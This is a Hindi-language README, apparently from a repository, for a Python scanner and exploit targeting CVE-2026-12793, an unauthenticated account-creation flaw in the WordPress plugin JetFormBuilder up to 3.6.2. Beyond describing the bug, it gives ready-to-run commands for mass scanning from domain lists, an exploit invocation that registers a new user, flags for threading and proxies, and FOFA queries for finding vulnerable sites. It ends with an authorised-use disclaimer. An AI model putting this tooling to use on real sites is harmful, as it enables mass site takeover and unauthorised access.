
Python PoC स्कैनर और CVE-2026-12793 के लिए एक्सप्लॉइट, जो JetFormBuilder <=3.6.2 में एक अनधिकृत विशेषाधिकार वृद्धि है जो WordPress एडमिन अकाउंट बनाता है।
WordPress प्लगइन JetFormBuilder — Dynamic Blocks Form Builder (Crocoblock) में CVE-2026-12793 के लिए प्रूफ-ऑफ-कॉन्सेप्ट स्कैनर और एक्सप्लॉइट।
| CVE | CVE-2026-12793 |
| प्लगइन | jetformbuilder |
| प्रभावित | ≤ 3.6.2 |
| में ठीक किया गया | 3.6.2.1+ |
| CVSS | 9.8 Critical |
| प्रमाणीकरण | अनधिकृत |
| CWE | CWE-269 — अनुचित विशेषाधिकार प्रबंधन |
| शोधकर्ता | daroo (Wordfence) |
प्लगइन यह सत्यापित नहीं करता कि _jet_engine_booking_form_id किसी प्रकाशित jet-form-builder कस्टम पोस्ट प्रकार को संदर्भित करता है, इससे पहले कि वह संदर्भित पोस्ट की ब्लॉक सामग्री को फॉर्म स्कीमा के रूप में लोड करे और पोस्ट-सबमिट क्रियाएँ निष्पादित करे।
एक अनधिकृत हमलावर Register User क्रिया (wp_insert_user) को ट्रिगर करने और एक नया WordPress खाता बनाने के लिए एक तैयार किया गया AJAX अनुरोध सबमिट कर सकता है। यदि लक्ष्य फॉर्म को उच्च भूमिका (जैसे administrator) के साथ गलत कॉन्फ़िगर किया गया है, तो यह पूर्ण साइट अधिग्रहण की ओर ले जाता है।
1. Detect JetFormBuilder + version ≤ 3.6.2 (readme.txt)
2. Discover form ID from public pages (data-form-id, /register/, etc.)
3. POST to referer page with ?jet_form_builder_submit=submit&method=ajax
4. Register User action runs → new WP user created
Block_Helper::is_valid_form_post() — केवल प्रकाशित jet-form-builder CPT स्वीकार किया जाता हैForm_Handler::set_form_id() अमान्य फॉर्म ID को अस्वीकार करता हैwp_insert_user / wp_update_user को कॉलबैक के रूप में अवरुद्ध किया गया)requestspip install requests urllib3
python poc.py -u https://target.example --mode check
python poc.py --list domains.txt --mode check --threads 30 --quiet
इनपुट प्रारूप: प्रति पंक्ति एक डोमेन/URL, FOFA CSV (host,domain), या पिछले रन से candidates.jsonl।
python poc.py -u https://target.example --mode exploit \
--form-id 1858 \
--page-url /register/ \
--fields login=cadastro_nome,email=cadastro_mail,password=cadastro_senha \
--username myuser \
--email [email protected] \
--password 'SecurePass123!' \
--verify
python poc.py --list candidates.jsonl --mode exploit --threads 10 --verify
| फ़्लैग | विवरण |
|---|---|
-u, --url | एकल लक्ष्य URL |
--list | लक्ष्य सूची फ़ाइल |
--mode | check (डिफ़ॉल्ट) या exploit |
--form-id | ज्ञात JetFormBuilder फॉर्म पोस्ट ID |
--page-url | फॉर्म को एम्बेड करने वाला पृष्ठ (referer), जैसे /register/ |
--fields | फ़ील्ड मैप: login=x,email=y,password=z |
--paths | फॉर्म के लिए क्रॉल करने के लिए अतिरिक्त पथ |
--username / --email / --password | एक्सप्लॉइट के लिए क्रेडेंशियल (छोड़े जाने पर यादृच्छिक) |
--verify | सबमिट के बाद wp-login.php के माध्यम से खाता सत्यापित करें |
-j, --threads | वर्कर थ्रेड्स (डिफ़ॉल्ट: 20) |
--timeout | HTTP टाइमआउट सेकंड में (डिफ़ॉल्ट: 20) |
--proxy | HTTP(S) प्रॉक्सी URL |
--output | पूर्ण JSONL लॉग (डिफ़ॉल्ट: cve_2026_12793_results.jsonl) |
--vuln-list | हिट सूची (डिफ़ॉल्ट: hits.txt) |
--candidates-list | उम्मीदवार JSONL (डिफ़ॉल्ट: candidates.jsonl) |
-q, --quiet | केवल प्रगति आउटपुट |
| फ़ाइल | सामग्री |
|---|---|
hits.txt | भेद्य / शोषित लक्ष्य URL |
candidates.jsonl | पहुँच योग्य Register User प्रोब वाले लक्ष्य (form_id, page_url, fields) |
cve_2026_12793_results.jsonl | पूर्ण प्रति-लक्ष्य JSON परिणाम |
{
"target": "https://target.example",
"version": "3.3.3",
"form_id": 1858,
"page_url": "https://target.example/register/",
"fields": {
"login": "user_login",
"email": "user_email",
"password": "user_pass"
}
}
स्वतः-पहचाने गए फ़ील्ड नाम अनुमानित हैं। एक्सप्लॉइट से पहले हमेशा सत्यापित करें और
--fieldsके साथ ओवरराइड करें।
body="/wp-content/plugins/jetformbuilder/"
body="jet-form-builder" && body="wp-content"
header="/wp-content/plugins/jetformbuilder/"
title="WordPress" && body="data-form-id"
संस्करण जाँच:
/wp-content/plugins/jetformbuilder/readme.txt
Stable tag: ≤ 3.6.2 देखें।
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते।
MIT